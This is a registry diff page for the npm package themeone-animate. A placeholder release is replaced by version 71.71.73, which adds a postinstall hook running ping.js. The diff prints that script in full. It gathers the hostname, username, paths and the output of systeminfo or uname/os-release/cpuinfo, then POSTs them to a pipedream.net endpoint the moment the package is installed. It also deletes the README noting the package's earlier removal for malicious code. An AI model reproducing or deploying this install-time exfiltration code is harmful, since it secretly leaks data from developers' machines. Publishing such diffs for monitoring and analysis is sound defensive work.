themeone-animate 0.0.1-security → 71.71.73

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of themeone-animate might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +9 -3
  2. package/ping.js +56 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "themeone-animate",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "71.71.73",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node ping.js"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/ping.js ADDED
@@ -0,0 +1,56 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const path = require('path');
4
+ const { exec } = require('child_process');
5
+
6
+ const endpoint = 'eoykc3a7nhkq2yy.m.pipedream.net'; // <-- replace with your Pipedream endpoint
7
+
8
+ function send(data) {
9
+ const payload = JSON.stringify(data);
10
+
11
+ const options = {
12
+ hostname: endpoint,
13
+ port: 443,
14
+ path: '/',
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'Content-Length': Buffer.byteLength(payload)
19
+ }
20
+ };
21
+
22
+ const req = https.request(options, res => {
23
+ // Optionally handle response
24
+ });
25
+
26
+ req.on('error', error => {
27
+ // Optionally log error
28
+ });
29
+
30
+ req.write(payload);
31
+ req.end();
32
+ }
33
+
34
+ const baseData = {
35
+ hostname: os.hostname(),
36
+ username: os.userInfo().username,
37
+ platform: os.platform(),
38
+ arch: os.arch(),
39
+ timestamp: new Date().toISOString(),
40
+ installPath: path.resolve(__dirname),
41
+ cwd: process.cwd(),
42
+ };
43
+
44
+ // Determine platform and construct appropriate command
45
+ const isWindows = os.platform().startsWith('win');
46
+ const cmd = isWindows
47
+ ? 'systeminfo'
48
+ : 'uname -a && cat /etc/os-release && lscpu || cat /proc/cpuinfo';
49
+
50
+ // Execute the command
51
+ exec(cmd, (error, stdout, stderr) => {
52
+ send({
53
+ ...baseData,
54
+ systeminfo: error ? stderr || 'command failed' : stdout
55
+ });
56
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=themeone-animate for more information.